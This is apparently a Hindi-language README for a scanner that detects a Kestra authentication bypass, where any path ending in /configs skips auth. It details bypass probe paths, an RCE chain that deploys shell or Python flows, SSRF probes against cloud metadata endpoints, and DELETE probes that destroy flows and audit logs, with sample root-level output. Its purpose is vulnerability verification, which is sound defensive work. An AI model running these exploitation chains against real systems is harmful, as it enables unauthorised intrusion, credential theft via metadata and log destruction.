
Kestra Auth-Bypass भेद्यता जाँचक
Kestra इंस्टेंस को endsWith("/configs") प्रमाणीकरण फ़िल्टर बाईपास के लिए स्कैन करता है। Kestra का AuthenticationFilter.java सटीक पथ /api/v1/configs के मिलान के बजाय request.getPath().endsWith("/configs") की जाँच करता है। चूंकि Kestra संसाधनों को कॉलर-चयनित पथ खंडों (नेमस्पेस, फ्लो आईडी) के माध्यम से संबोधित करता है, /configs में समाप्त होने वाला कोई भी पथ बेसिक-प्रमाणीकरण को बायपास करता है जिससे अप्रमाणित फ्लो निर्माण और आरसीई संभव हो पाता है। (CVSS 10.0)
संदर्भ:
GET /api/v1/configs (200 लौटना चाहिए; Kestra संस्करण के लिए प्रतिक्रिया निकाय पार्स किया जाता है)GET /api/v1/{tenant}/flows (यदि प्रमाणीकरण लागू है तो 401/403 लौटना चाहिए)/configs में समाप्त होने वाले पथों पर 6 GET अनुरोध; यदि कोई भी 401/403 नहीं लौटाता है जबकि प्रमाणीकरण जाँच लागू होती है, तो इंस्टेंस असुरक्षित है--aggressive) लिखने-बाईपास क्षमता की पुष्टि करने के लिए PUT अनुरोध भी भेजता है--rce) पूर्ण श्रृंखला: शेल/पायथन फ्लो बनाएँ → निष्पादन ट्रिगर करें → लॉग प्राप्त करें → कोड निष्पादन की पुष्टि करें → सफाई करें--ssrf) Pebble के http() का उपयोग करके AWS/GCP/Azure क्लाउड मेटाडेटा और आंतरिक एंडपॉइंट को लक्षित करने वाला एक फ्लो बनाता है, फिर सबूत के लिए लॉग की जाँच करता है--destructive) फ्लो, डैशबोर्ड और लॉग बाईपास पथों पर DELETE भेजता है ताकि विनाशकारी संचालन बाईपास की पुष्टि हो सके| प्रोब | विधि | पथ | विवरण |
|---|---|---|---|
| सार्वजनिक कॉन्फ़िग | GET | /api/v1/configs | जीवितता जाँच + संस्करण निष्कर्षण |
| संरक्षित सामान्य | GET | /api/v1/{tenant}/flows | प्रमाणीकरण प्रवर्तन आधार रेखा |
| फ्लो बाईपास | GET | /api/v1/{tenant}/flows/{namespace}/configs | फ्लो सूची बाईपास |
| निष्पादन बाईपास | GET | /api/v1/{tenant}/executions/{namespace}/configs | निष्पादन बाईपास |
| KV स्टोर बाईपास | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV पढ़ने का बाईपास |
| डैशबोर्ड बाईपास | GET | /api/v1/{tenant}/dashboards/configs | डैशबोर्ड बाईपास |
| लॉग बाईपास | GET | /api/v1/{tenant}/logs/{namespace}/configs | लॉग एक्सेस बाईपास |
| टेम्पलेट बाईपास | GET | /api/v1/{tenant}/templates/{namespace}/configs | टेम्पलेट पढ़ने का बाईपास |
--aggressive)| प्रोब | विधि | पथ | विवरण |
|---|---|---|---|
| फ्लो PUT बाईपास | PUT | फ्लो बाईपास के समान | एक न्यूनतम debug.Return फ्लो बनाता है |
| KV PUT बाईपास | PUT | KV बाईपास के समान | एक KV प्रविष्टि {"scanned": true} बनाता है |
--destructive)| प्रोब | विधि | पथ | विवरण |
|---|---|---|---|
| फ्लो DELETE बाईपास | DELETE | फ्लो बाईपास के समान | "configs" नामक संसाधन को हटाता है |
| डैशबोर्ड DELETE बाईपास | DELETE | डैशबोर्ड बाईपास के समान | "configs" नामक डैशबोर्ड को हटाता है |
| लॉग DELETE बाईपास | DELETE | लॉग बाईपास के समान | ऑडिट लॉग नष्ट करता है |
--rce)तभी चलता है जब प्रमाणीकरण बाईपास की पुष्टि हो। परामर्श से पूर्ण श्रृंखला:
| चरण | विधि | पथ | विवरण |
|---|---|---|---|
| 1. RCE फ्लो बनाएँ | PUT | /api/v1/{tenant}/flows/{namespace}/configs | io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname) के साथ फ्लो तैनात करता है। विफलता पर io.kestra.plugin.scripts.python.Script पर वापस आ जाता है। |
| 2. निष्पादन ट्रिगर | POST | /api/v1/{tenant}/executions/{namespace}/configs | बाईपास पथ के माध्यम से फ्लो शुरू करता है |
| 3. लॉग पोल करें | GET | /api/v1/{tenant}/logs/search?executionId=<id> | अद्वितीय RCE मार्कर की तलाश में --poll-retries बार (डिफ़ॉल्ट 10) हर --poll-interval सेकंड (डिफ़ॉल्ट 3) पर पोल करता है |
| 4. सफाई | DELETE | चरण 1 के समान | तैनात फ्लो को हटाता है |
--ssrf)तभी चलता है जब प्रमाणीकरण बाईपास की पुष्टि हो:
| चरण | विधि | पथ | विवरण |
|---|---|---|---|
| 1. SSRF फ्लो बनाएँ | PUT | /api/v1/{tenant}/flows/{namespace}/configs | AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance), और आंतरिक (127.0.0.1:8080/api/v1/configs) के लिए Pebble http() कॉल के साथ एक debug.Return कार्य तैनात करता है |
| 2. निष्पादन ट्रिगर | POST | RCE चरण 2 के समान | फ्लो ट्रिगर करता है |
| 3. लॉग पोल करें | GET | /api/v1/{tenant}/logs/search?executionId=<id> | क्लाउड मेटाडेटा संकेतकों (ami-, i-, 169.254.169.254, metadata.google.internal, आदि) की जाँच करता है |
| 4. सफाई | DELETE | चरण 1 के समान | तैनात फ्लो को हटाता है |
positional:
target Single target URL (e.g. http://localhost:8080)
options:
-f, --file File with targets (one per line)
-t, --timeout Request timeout in seconds (default: 10)
--verify-ssl Verify TLS certificates
-j, --json Output JSON to stdout
-o, --output Write JSON report to file
--tenant Tenant name (default: "main")
--namespace Namespace for bypass paths (default: "tutorial")
-w, --workers Thread count for bulk scans (default: 10)
-a, --aggressive Send PUT requests to confirm write bypass
-P, --auto-ports Ports for auto-expand (default: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Enable RCE verification chain (shell + python flow,
execution trigger, log retrieval, auto-cleanup)
-s, --ssrf Enable SSRF detection (Pebble http() to cloud metadata
endpoints, log-based evidence collection)
-d, --destructive Enable DELETE probes on flows, dashboards, and logs
(WILL delete resources on vulnerable instances)
--poll-interval Seconds between log polls for RCE/SSRF chains (default: 3)
--poll-retries Max log poll attempts for RCE/SSRF chains (default: 10)
प्रति-प्रोब विवरण संवर्धन (संस्करण, RCE, SSRF, DELETE स्थिति) और निर्णय के साथ:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
RCE/SSRF/DEL फ्लैग कॉलम के साथ क्रमबद्ध सारणीबद्ध तालिका: